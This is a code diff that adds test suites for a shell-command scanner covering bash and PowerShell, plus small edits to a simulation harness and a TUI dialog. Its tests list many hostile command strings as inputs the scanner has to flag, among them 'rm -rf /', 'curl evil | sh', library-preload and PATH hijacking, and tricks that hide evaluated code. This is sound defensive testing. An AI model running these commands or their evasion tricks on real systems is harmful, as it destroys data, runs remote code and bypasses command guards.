+    ["printf a; printf b\nprintf c", ["printf", "printf", "printf"]],
+    ["printf x |& sed 's/x/y/'", ["printf", "sed"]],
+    ["printf foo\\\nbar", ["printf"]],
+    ["printf ok # ; rm -rf /", ["printf"]],
+    ["X=only", []],
+    ["echo *", ["echo"]],
+    ["printf '%s' '$() `cmd` && |'", ["printf"]],
+    [`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
+    [`printf '%s\\n' "\${x:-$(rm -rf /)}"`, ["printf", "rm"]],
+    ['cat >"$(touch /tmp/pwned)"', ["cat", "touch"]],
+    ["X=$(rm -rf /) printf ok", ["printf", "rm"]],
+  ] as const
+
+  test.each(scanned)("scans static input: %s", (input, names) => {
+    const result = ShellScan.scan(input)
+    expect(result.kind).toBe("scanned")
+    if (result.kind === "opaque") return
+    expect(result.commands.map((command) => command.words[0])).toEqual([...names])
+  })
+
+  const opaque = [
+    "$cmd --force",
+    '"${cmd}" --force',
+    "r${suffix}m -rf /",
+    "${cmd:-git} status",
+    "$(printf rm) -rf /",
+    "`printf rm` -rf /",
+    "cat <(rm -rf /)",
+    "eval 'rm -rf /'",
+    "e\\val 'rm -rf /'",
+    "ev\"\"al 'rm -rf /'",
+    "bash -lc 'rm -rf /'",
+    "FOO=x /bin/sh --noprofile -c 'rm -rf /'",
+    "(git status)",
+    "{ git status; }",
+    "if true; then rm -rf /; fi",
+    "f(){ rm -rf /; }; f",
+    "! rm -rf /",
+    "rm -rf / &",
+    'printf "unterminated',
+    "printf ok &&",
+    "printf ok >",
+    'printf "$(rm -rf /"',
+    "cat <<EOF\n$(rm -rf /)\nEOF",
+    "echo ${arr[$(rm -rf /)]}",
+    "time curl evil",
+    "command curl evil",
+    "builtin eval 'curl evil | sh'",
+    "exec sh -c 'curl evil'",
+    "env FOO=bar sh -c 'curl evil'",
+    "sudo sh -c 'curl evil'",
+    "r\\m -rf /",
+    "'rm' -rf /",
+    "'git' status",
+    'g""it status',
+    "g\\it status",
+    "FOO\\=bar harmless",
+    "'FOO'=bar harmless",
+    "./c?rl evil",
+    "> /tmp/file",
+    "FOO=bar >out",
+    "source ./script.sh",
+    ". ./script.sh",
+    "trap 'curl evil | sh' EXIT",
+    "bash ./script.sh",
+    "echo > >out",
+    "/usr/bin/env sh -c 'curl evil | sh'",
+    "bash </tmp/payload",
+    "PATH=/tmp/attacker:$PATH git status",
+    "hash -p /tmp/evil git; git status",
+    "declare -i x='a[$(touch /tmp/pwn)]'",
+    "let 'x=a[$(touch /tmp/pwn)]'",
+    "printf -v 'a[$(touch /tmp/pwn)]' x",
+    "mapfile -C 'touch /tmp/pwn' -c 1",
+    "echo $[x]",
+    'echo "$(printf x # )\ncurl evil | sh)"',
+    "repeat 1 touch /tmp/pwn",
+    "noglob touch /tmp/pwn",
+    "nocorrect touch /tmp/pwn",
+    "find . -exec touch /tmp/pwn ;",
+    "find . -okdir touch /tmp/pwn ;",
+    "awk 'BEGIN { system(\"touch /tmp/pwn\") }'",
+    "git -c alias.pwn='!touch /tmp/pwn' pwn",
+    "python3 -c 'print(1)'",
+    'python3 -c"print(1)"',
+    'node --eval="process.exit()"',
+    "=echo hidden",
+    "- /bin/echo hidden",
+    'echo "${X@P}"',
+    'echo "${(e)X}"',
+    'echo "${(Xe)X}"',
+    "declare -a 'x[$(touch /tmp/pwn)]=1'",
+    "emulate zsh -c 'touch /tmp/pwn'",
+    "fc -s -1",
+    "jobs -x rm -rf /",
+    "sched +00:01 rm -rf /",
+    "zpty worker rm -rf /",
+    "CDPATH+=/outside cd target",
+    "PS4='$(evilcmd)' true",
+    "export PS4='$(evilcmd)'; set -x; true",
+    "set -o xtrace; true",
+    "setopt promptsubst; print -P '$(evilcmd)'",
+    "unsetopt promptsubst",
+    "print -P '$(evilcmd)'",
+    "export PROMPT4='$(evilcmd)'; set -o PROMPT_SUBST; set -o XTRACE; true",
+    "path=/attacker/bin harmless",
+    "cdpath=/outside cd target",
+    "LD_PRELOAD=/tmp/pwn.so /tmp/allowed",
+    "DYLD_INSERT_LIBRARIES=/tmp/pwn.dylib /tmp/allowed",
+    "export FPATH=/attacker/functions; autoload evil; evil",
+  ]
+
+  test.each(opaque)("fails closed for dynamic or unsupported input: %s", (input) => {
+    expect(ShellScan.scan(input).kind).toBe("opaque")
+  })
+
+  test.each([
+    'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command "Remove-Item victim.txt"',
+    'pwsh --command "Remove-Item victim.txt"',
+    'cmd.exe /c "del victim.txt & whoami"',
+    'Start-Process powershell -ArgumentList "-Command Remove-Item victim.txt"',
+    'Microsoft.PowerShell.Utility\\Invoke-Expression "Remove-Item victim.txt"',
+    "Set-Alias git Remove-Item; git victim.txt",
+    "Set-Item Alias:git Remove-Item; git victim.txt",
+    "Invoke-Command -ScriptBlock $sb",
+    "ForEach-Object -Process $sb",
+    "Invoke-Item C:\\work\\evil.cmd",
+    'saps powershell -ArgumentList "-Command Remove-Item victim.txt"',
+    "ii C:\\work\\evil.cmd",
+    "ipmo C:\\work\\evil.psm1",
+    "sal harmless Remove-Item; harmless victim.txt",
+    "si Alias:harmless Remove-Item; harmless victim.txt",
+    "icm -ScriptBlock $sb",
+    "ihy 1",
+    "r 1",
+    "ipal aliases.csv",
+    "ipsn $session",
+    "nmo -ScriptBlock $sb",
+    "trcm command -Expression $sb -PSHost",
+    "Set-Content Function:harmless Remove-Item; harmless victim.txt",
+    "Clear-Item Alias:git; git status",
+    "Set-Location Alias:; Set-Item harmless Remove-Item",
+    "Evil\\Get-Harmless",
+    "Add-Type -Path evil.dll",
+    "using module Evil",
+    "using assembly evil.dll",
+    "#Requires -Modules Evil\nWrite-Output ok",
+    "return Remove-Item victim",
+    "throw Get-Secret",
+    "[string]$x = Remove-Item victim",
+    "Set-Variable noun Item; Remove-$noun victim",
+    "Add-Content Function:harmless 'Remove-Item victim'; harmless",
+    "ac Function:harmless 'Remove-Item victim'; harmless",
+    "pushd Alias:; si harmless Remove-Item; harmless victim",
+    "Invoke-`\nExpression 'Remove-Item victim'",
+    "<# ignored #> Remove-Item victim",
+    "Set-Location $HOME/$target; Get-ChildItem",
+    "Push-Location $env:TEMP/$target; Get-ChildItem",
+    "Remove-`Item victim",
+    "Remove-Item`\r\n victim",
+  ])("fails closed for secondary PowerShell execution: %s", (input) => {
+    expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
+  })
+})

packages/shell-scan/test/closure.test.ts

@@ -0,0 +1,37 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+const opaque = [
+  "eval 'printf hidden'",
+  "bash -c 'printf hidden'",
+  "$COMMAND hidden",
+  "find . -exec printf hidden ;",
+] as const
+
+const contexts = [
+  (source: string) => source,
+  (source: string) => `${source}; printf visible`,
+  (source: string) => `printf visible; ${source}`,
+  (source: string) => `${source} && printf visible`,
+  (source: string) => `printf visible || ${source}`,
+  (source: string) => `printf "$(${source})"`,
+  (source: string) => `X=$(${source}) printf visible`,
+  (source: string) => `printf visible >$(${source})`,
+] as const
+
+describe("ShellScan recursive opacity closure", () => {
+  for (const seed of opaque) {
+    for (const outer of contexts) {
+      for (const inner of contexts.slice(0, 5)) {
+        const source = outer(inner(seed))
+        test(source, () => expect(ShellScan.scan(source).kind).toBe("opaque"))
+      }
+    }
+  }
+})
+
+describe("ShellScan quote suppression", () => {
+  test.each([...opaque])("single quotes suppress active syntax: %s", (source) => {
+    expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
+  })
+})

packages/shell-scan/test/generated.test.ts

@@ -0,0 +1,182 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+const staticCommands = [
+  ["git status", ["git", "status"]],
+  ["printf ok", ["printf", "ok"]],
+  ["curl example.com", ["curl", "example.com"]],
+] as const
+
+describe("ShellScan generated properties", () => {
+  test("decomposes every combination of static commands and separators", () => {
+    const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
+
+    for (const [left, leftWords] of staticCommands) {
+      for (const separator of separators) {
+        for (const [right, rightWords] of staticCommands) {
+          expect(ShellScan.scan(left + separator + right)).toEqual({
+            kind: "scanned",
+            commands: [
+              { resource: left, words: [...leftWords] },
+              { resource: right, words: [...rightWords] },
+            ],
+          })
+        }
+      }
+    }
+  })
+
+  test("keeps quoted and escaped separators in arguments", () => {
+    const literals = [";", "|", "&", "#", "<", ">"]
+    const forms = literals.flatMap((literal) => [
+      { source: `'left${literal}right'`, word: `left${literal}right` },
+      { source: `"left${literal}right"`, word: `left${literal}right` },
+      { source: `left\\${literal}right`, word: `left${literal}right` },
+    ])
+
+    for (const form of forms) {
+      expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
+        kind: "scanned",
+        commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
+      })
+    }
+  })
+
+  test("fails closed when valid commands are mutated with malformed syntax", () => {
+    const mutate = [
+      (command: string) => `${command} "unterminated`,
+      (command: string) => `${command} 'unterminated`,
+      (command: string) => `${command} \\`,
+      (command: string) => `${command} &&`,
+      (command: string) => `| ${command}`,
+      (command: string) => `${command} || || printf reached`,
+      (command: string) => `${command} >`,
+      (command: string) => `${command} > > output`,
+    ]
+
+    for (const [command] of staticCommands) {
+      for (const mutation of mutate) expect(ShellScan.scan(mutation(command)).kind).toBe("opaque")
+    }
+  })
+
+  test("fails closed for generated dynamic command heads", () => {
+    const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
+    const tails = ["status", "--version", "-rf /"]
+
+    for (const head of heads) {
+      for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
+    }
+  })
+
+  test("fails closed for wrappers and shell evaluators under static prefixes", () => {
+    const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
+    const wrapped = [
+      "time git status",
+      "command git status",
+      "builtin printf ok",
+      "exec git status",
+      "env FOO=bar git status",
+      "sudo git status",
+      "nice git status",
+      "nohup git status",
+      "xargs rm",
+      "source ./script.sh",
+      ". ./script.sh",
+      "trap 'git status' EXIT",
+      "eval 'git status'",
+      "bash -c 'git status'",
+      "/bin/sh ./script.sh",
+    ]
+
+    for (const prefix of prefixes) {
+      for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("opaque")
+    }
+  })
+})
+
+describe("ShellScan generated PowerShell properties", () => {
+  test("decomposes every combination of static commands and separators", () => {
+    const commands = [
+      ["Get-ChildItem", ["Get-ChildItem"]],
+      ["Write-Output ok", ["Write-Output", "ok"]],
+      ["Get-Content input.txt", ["Get-Content", "input.txt"]],
+    ] as const
+    const separators = ["; ", " | ", "\n"]
+
+    for (const [left, leftWords] of commands) {
+      for (const separator of separators) {
+        for (const [right, rightWords] of commands) {
+          expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
+            kind: "scanned",
+            commands: [
+              { resource: left, words: [...leftWords] },
+              { resource: right, words: [...rightWords] },
+            ],
+          })
+        }
+      }
+    }
+  })
+
+  test("keeps quoted and escaped separators in arguments", () => {
+    const literals = [";", "|", "&", "#", "<", ">"]
+    const forms = literals.flatMap((literal) => [
+      { source: `'left${literal}right'`, word: `left${literal}right` },
+      { source: `"left${literal}right"`, word: `left${literal}right` },
+      { source: `left\`${literal}right`, word: `left${literal}right` },
+    ])
+
+    for (const form of forms) {
+      expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
+        kind: "scanned",
+        commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
+      })
+    }
+  })
+
+  test("fails closed when valid commands are mutated with malformed syntax", () => {
+    const mutations = [
+      'Write-Output ok "unterminated',
+      "Write-Output ok 'unterminated",
+      "Write-Output ok`",
+      "Write-Output ok |",
+      "Write-Output ok || || Write-Output reached",
+      "Write-Output ok >",
+    ]
+
+    for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+  })
+
+  test("fails closed for generated dynamic heads, evaluators, and script execution", () => {
+    const commands = [
+      "$Command status",
+      "${Command} status",
+      "& git status",
+      ". ./script.ps1",
+      "Invoke-Expression 'git status'",
+      "iex 'git status'",
+      "Import-Module ./module.psm1",
+      "./script.ps1 -Force",
+    ]
+    const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
+    const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
+
+    for (const command of commands) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+    for (const shell of shells) {
+      for (const flag of switches) {
+        expect(ShellScan.scanPowerShell(`${shell} ${flag} 'git status'`).kind).toBe("opaque")
+      }
+    }
+  })
+
+  test("fails closed for dynamic location changes but accepts known directory variables", () => {
+    const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
+    const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
+    const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
+
+    for (const location of locations) {
+      for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
+      for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
+    }
+  })
+})

packages/shell-scan/test/mutation.test.ts

@@ -0,0 +1,120 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+type Mutation = {
+  name: string
+  apply: (source: string) => string
+}
+
+const head = (source: string, mutate: (value: string) => string) =>
+  source.replace(/^\S+/, (value) => mutate(value))
+
+const contexts: Mutation[] = [
+  { name: "leading spaces", apply: (source) => `  ${source}` },
+  { name: "leading tab", apply: (source) => `\t${source}` },
+  { name: "semicolon prefix", apply: (source) => `printf safe; ${source}` },
+  { name: "and prefix", apply: (source) => `printf safe && ${source}` },
+  { name: "or suffix", apply: (source) => `${source} || printf safe` },
+  { name: "newline suffix", apply: (source) => `${source}\nprintf safe` },
+]
+
+const bashSeeds = [
+  ["evaluator", `eval 'printf pwn'`],
+  ["shell", `bash -c 'printf pwn'`],
+  ["wrapper", "env MODE=test printf pwn"],
+  ["dynamic builtin", "alias harmless='printf pwn'"],
+  ["find callback", "find . -exec printf pwn ;"],
+  ["awk source", `awk 'BEGIN { system("printf pwn") }'`],
+  ["git alias", `git -c alias.pwn='!printf pwn' pwn`],
+  ["python source", `python3 -c 'print(1)'`],
+  ["node source", `node --eval='process.exit()'`],
+] as const
+
+describe("ShellScan opaque mutation closure", () => {
+  const headMutations: Mutation[] = [
+    { name: "absolute path", apply: (source) => head(source, (value) => `/usr/bin/${value}`) },
+    { name: "relative path", apply: (source) => head(source, (value) => `./${value}`) },
+    { name: "single-quoted head", apply: (source) => head(source, (value) => `'${value}'`) },
+    { name: "double-quoted head", apply: (source) => head(source, (value) => `"${value}"`) },
+    {
+      name: "escaped head",
+      apply: (source) => head(source, (value) => `${value[0]}\\${value.slice(1)}`),
+    },
+  ]
+
+  for (const [seed, source] of bashSeeds) {
+    for (const mutation of [...headMutations, ...contexts]) {
+      test(`${seed} remains opaque after ${mutation.name}`, () => {
+        expect(ShellScan.scan(mutation.apply(source)).kind).toBe("opaque")
+      })
+    }
+  }
+
+  test.each([
+    ["python short option cluster", `python3 -Ic'print(1)'`],
+    ["perl short option cluster", `perl -we'print 1'`],
+    ["ruby short option cluster", `ruby -we'puts 1'`],
+    ["node attached long option", `node --eval='process.exit()'`],
+  ])("attached source flag remains opaque: %s", (_name, source) => {
+    expect(ShellScan.scan(source).kind).toBe("opaque")
+  })
+})
+
+const powerShellContexts: Mutation[] = [
+  { name: "leading spaces", apply: (source) => `  ${source}` },
+  { name: "leading tab", apply: (source) => `\t${source}` },
+  { name: "semicolon prefix", apply: (source) => `Write-Output safe; ${source}` },
+  { name: "pipeline prefix", apply: (source) => `Write-Output safe | ${source}` },
+  { name: "newline suffix", apply: (source) => `${source}\nWrite-Output safe` },
+]
+
+const powerShellSeeds = [
+  ["expression evaluator", `Invoke-Expression 'Write-Output pwn'`],
+  ["expression alias", `iex 'Write-Output pwn'`],
+  ["process launcher", "Start-Process pwsh -ArgumentList -Command,pwn"],
+  ["process alias", "saps pwsh -ArgumentList -Command,pwn"],
+  ["module importer", "Import-Module ./evil.psm1"],
+  ["module alias", "ipmo ./evil.psm1"],
+  ["alias mutation", "Set-Alias harmless Remove-Item"],
+  ["alias mutation alias", "sal harmless Remove-Item"],
+  ["shell", "pwsh -Command Write-Output,pwn"],
+  ["script", "./evil.ps1 -Force"],
+] as const
+
+describe("ShellScan PowerShell opaque mutation closure", () => {
+  for (const [seed, source] of powerShellSeeds) {
+    const mutations: Mutation[] = [
+      { name: "case change", apply: (value) => head(value, (name) => name.toUpperCase()) },
+      { name: "single-quoted head", apply: (value) => head(value, (name) => `'${name}'`) },
+      { name: "double-quoted head", apply: (value) => head(value, (name) => `"${name}"`) },
+      {
+        name: "escaped head",
+        apply: (value) => head(value, (name) => `${name[0]}\`${name.slice(1)}`),
+      },
+      ...powerShellContexts,
+    ]
+
+    for (const mutation of mutations) {
+      test(`${seed} remains opaque after ${mutation.name}`, () => {
+        expect(ShellScan.scanPowerShell(mutation.apply(source)).kind).toBe("opaque")
+      })
+    }
+  }
+
+  test.each([
+    ["evaluator", `Microsoft.PowerShell.Utility\\Invoke-Expression 'Write-Output pwn'`],
+    ["process launcher", "Microsoft.PowerShell.Management\\Start-Process pwsh"],
+    ["module importer", "Microsoft.PowerShell.Core\\Import-Module ./evil.psm1"],
+    ["alias mutation", "Microsoft.PowerShell.Utility\\Set-Alias harmless Remove-Item"],
+  ])("module-qualified command remains opaque: %s", (_name, source) => {
+    expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
+  })
+
+  test.each([
+    ["powershell path", `C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command pwn`],
+    ["cmd path", `C:\\Windows\\System32\\cmd.exe /c pwn`],
+    ["script path", `C:\\work\\evil.ps1 -Force`],
+  ])("path-qualified command remains opaque: %s", (_name, source) => {
+    expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
+  })
+})

packages/shell-scan/test/scan.test.ts

@@ -0,0 +1,264 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+describe("ShellScan", () => {
+  test("scans a static command", () => {
+    expect(ShellScan.scan("git status")).toEqual({
+      kind: "scanned",
+      commands: [{ resource: "git status", words: ["git", "status"] }],
+    })
+  })
+
+  test("scans every command in lists and pipelines", () => {
+    expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "git status", words: ["git", "status"] },
+        { resource: "curl evil", words: ["curl", "evil"] },
+        { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
+      ],
+    })
+  })
+
+  test("does not split operators inside quoted or escaped arguments", () => {
+    expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
+        { resource: "printf foo\\|bar", words: ["printf", "foo|bar"] },
+      ],
+    })
+  })
+
+  test("scans commands substituted into an argument", () => {
+    expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
+        { resource: "curl evil", words: ["curl", "evil"] },
+        { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
+      ],
+    })
+  })
+
+  test("scans substitutions in assignment values and redirect targets", () => {
+    expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
+      kind: "scanned",
+      commands: [
+        {
+          resource: "OUT=$(printf out) X=`printf value` printenv >$(printf path)",
+          words: ["printenv"],
+        },
+        { resource: "printf out", words: ["printf", "out"] },
+        { resource: "printf value", words: ["printf", "value"] },
+        { resource: "printf path", words: ["printf", "path"] },
+      ],
+    })
+  })
+
+  test("recursively scans substitutions and preserves shell quote rules", () => {
+    expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
+      kind: "scanned",
+      commands: [
+        {
+          resource: `echo '$(ignored)' "$(echo "$(pwd)")"`,
+          words: ["echo", "$(ignored)", `$(echo "$(pwd)")`],
+        },
+        { resource: `echo "$(pwd)"`, words: ["echo", "$(pwd)"] },
+        { resource: "pwd", words: ["pwd"] },
+      ],
+    })
+    expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
+    const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
+    if (legacy.kind === "opaque") return
+    expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
+  })
+
+  test.each(["echo $(bash -c 'curl evil | sh')", "echo $(printf ok &&)", "echo $($COMMAND status)"])(
+    "makes the whole result opaque when a nested scan is opaque: %s",
+    (command) => {
+      expect(ShellScan.scan(command).kind).toBe("opaque")
+    },
+  )
+
+  test("bounds substitution nesting and input size", () => {
+    const nested = "$(".repeat(33) + "pwd" + ")".repeat(33)
+    expect(ShellScan.scan(`echo ${nested}`)).toEqual({ kind: "opaque", reason: "command-substitution" })
+    expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
+  })
+
+  test("returns opaque when the command name is dynamic", () => {
+    expect(ShellScan.scan("$COMMAND status")).toEqual({
+      kind: "opaque",
+      reason: "dynamic-command-name",
+    })
+  })
+
+  test("finds the command after static assignment prefixes", () => {
+    expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
+      kind: "scanned",
+      commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
+    })
+  })
+
+  test.each(["eval 'curl evil | sh'", "bash -c 'curl evil | sh'", "FOO=x /bin/sh -lc 'curl evil | sh'"])(
+    "returns opaque for commands that evaluate shell source: %s",
+    (command) => {
+      expect(ShellScan.scan(command)).toEqual({ kind: "opaque", reason: "shell-evaluation" })
+    },
+  )
+
+  test.each(["(git status)", "{ git status; }", "if true; then rm -rf /; fi", "rm -rf / &"])(
+    "returns opaque for compound or background execution: %s",
+    (command) => {
+      expect(ShellScan.scan(command).kind).toBe("opaque")
+    },
+  )
+
+  test("keeps redirects with the command but excludes them from words", () => {
+    expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
+        { resource: "cat < input", words: ["cat"] },
+      ],
+    })
+  })
+
+  test("recognizes redirects without surrounding whitespace", () => {
+    expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
+        { resource: "cat<input", words: ["cat"] },
+      ],
+    })
+  })
+
+  test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
+    "returns opaque for malformed command structure: %s",
+    (command) => {
+      expect(ShellScan.scan(command).kind).toBe("opaque")
+    },
+  )
+
+  test("ignores comments outside words", () => {
+    expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
+      kind: "scanned",
+      commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
+    })
+  })
+
+  test.each([
+    "cat <<EOF\n$(curl evil | sh)\nEOF",
+    "cat <(curl evil)",
+    "echo ${x:-$(curl evil)}",
+    "echo $((1 + 2))",
+    "cat <<'EOF'\nstatic body\nEOF",
+  ])("returns opaque for unsupported expansion or pattern syntax: %s", (command) => {
+    expect(ShellScan.scan(command).kind).toBe("opaque")
+  })
+
+  test("does not invent a command for assignment-only input", () => {
+    expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
+  })
+})
+
+describe("ShellScan PowerShell", () => {
+  test("splits carriage-return statement separators", () => {
+    const result = ShellScan.scanPowerShell("Get-ChildItem\rRemove-Item victim")
+    expect(result.kind).toBe("scanned")
+    if (result.kind === "opaque") return
+    expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
+  })
+
+  test("splits CRLF statement separators", () => {
+    const result = ShellScan.scanPowerShell("Get-ChildItem\r\nRemove-Item victim")
+    expect(result.kind).toBe("scanned")
+    if (result.kind === "opaque") return
+    expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
+  })
+
+  test("ends comments at carriage returns", () => {
+    const result = ShellScan.scanPowerShell("# comment\rRemove-Item victim")
+    expect(result.kind).toBe("scanned")
+    if (result.kind === "opaque") return
+    expect(result.commands.map((command) => command.words[0])).toEqual(["Remove-Item"])
+  })
+
+  test("scans static commands and pipelines", () => {
+    expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "Get-ChildItem", words: ["Get-ChildItem"] },
+        { resource: "Write-Output 'done'", words: ["Write-Output", "done"] },
+        { resource: "Out-File output.txt", words: ["Out-File", "output.txt"] },
+      ],
+    })
+  })
+
+  test("keeps separators inside strings and honors backtick escapes", () => {
+    expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"; Write-Output foo`;bar')).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] },
+        { resource: "Write-Output foo`;bar", words: ["Write-Output", "foo;bar"] },
+      ],
+    })
+  })
+
+  test("uses PowerShell quote escaping rules", () => {
+    expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
+        { resource: 'Write-Output "a`"; still string"', words: ["Write-Output", 'a"; still string'] },
+      ],
+    })
+  })
+
+  test("excludes PowerShell redirects and their targets from words", () => {
+    expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
+        { resource: "Out-File all.log", words: ["Out-File", "all.log"] },
+      ],
+    })
+  })
+
+  test.each([
+    "& $Command status",
+    "$Command status",
+    "Invoke-Expression 'curl evil | sh'",
+    "powershell -Command 'curl evil | sh'",
+    "pwsh -File ./script.ps1",
+    "./deploy.ps1 -Force",
+    "Import-Module ./module.psm1",
+    'Write-Output "$(Get-ChildItem)"',
+    "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
+    "@'\nhello\n'@ | Write-Output",
+    'Write-Output "unterminated',
+    "Get-ChildItem |",
+    "Set-Location $target; git status",
+    "Set-Location $(Resolve-Path ..); git status",
+  ])("returns opaque for dynamic PowerShell execution: %s", (command) => {
+    expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+  })
+
+  test("ignores comments and keeps redirects in resources", () => {
+    expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
+      kind: "scanned",
+      commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
+    })
+  })
+
+  test.each(["", "# comment", "Write-Output ok; # comment"])("accepts empty PowerShell statements: %s", (command) => {
+    expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
+  })
+
+  test.each(["(Remove-Item *)", ". ./deploy.ps1", "Write-Output ok`"])(
+    "fails closed for ambiguous PowerShell syntax: %s",
+    (command) => expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
+  )
+})

packages/shell-scan/tsconfig.json

@@ -0,0 +1,12 @@
+{
+  "$schema": "https://json.schemastore.org/tsconfig",
+  "extends": "@tsconfig/bun/tsconfig.json",
+  "compilerOptions": {
+    "module": "NodeNext",
+    "moduleResolution": "NodeNext",
+    "allowImportingTsExtensions": false,
+    "allowJs": false,
+    "noUncheckedIndexedAccess": false
+  },
+  "include": ["src", "test", "bench", "research"]
+}

packages/simulation/src/frontend/actions.ts

@@ -115,9 +115,10 @@ export function elements(renderer: CliRenderer): Element[] {
 }
 
 export function state(harness: Harness) {
+  const renderable = harness.renderer.currentFocusedRenderable?.num
   return {
     focused: {
-      renderable: harness.renderer.currentFocusedRenderable?.num,
+      ...(renderable === undefined ? {} : { renderable }),
       editor: Boolean(harness.renderer.currentFocusedEditor),
     },
     elements: elements(harness.renderer),

packages/simulation/test/actions.test.ts

@@ -14,6 +14,18 @@ test("matches literal screen text", () => {
   expect(matches(harness, "opencode")).toBe(false)
 })
 
+test("omits an absent focused renderable from state", () => {
+  const harness = {
+    renderer: {
+      root: { getChildren: () => [] },
+      currentFocusedRenderable: undefined,
+      currentFocusedEditor: undefined,
+    },
+  } as unknown as Harness
+
+  expect(state(harness)).toEqual({ focused: { editor: false }, elements: [] })
+})
+
 test("normalizes named keys for OpenTUI", async () => {
   const pressed: Array<readonly [string, object | undefined]> = []
   const harness = {

packages/tui/src/component/dialog-experiments.tsx

@@ -1,10 +1,11 @@
 import { createMemo, createSignal } from "solid-js"
 import { useConfig } from "../config"
 import { DialogSelect } from "../ui/dialog-select"
+import { useTheme } from "../context/theme"
 import { useToast } from "../ui/toast"
 
 type Experiment = {
-  id: "tab_drafts"
+  id: string
   title: string
   description: string
 }
@@ -12,36 +13,30 @@ type Experiment = {
 // In-flight features anyone can opt into. Each entry is temporary: an
 // experiment either graduates (delete the entry, make the behavior
 // unconditional) or dies (delete the entry and the branch it gated).
-export const experiments: Experiment[] = [
-  {
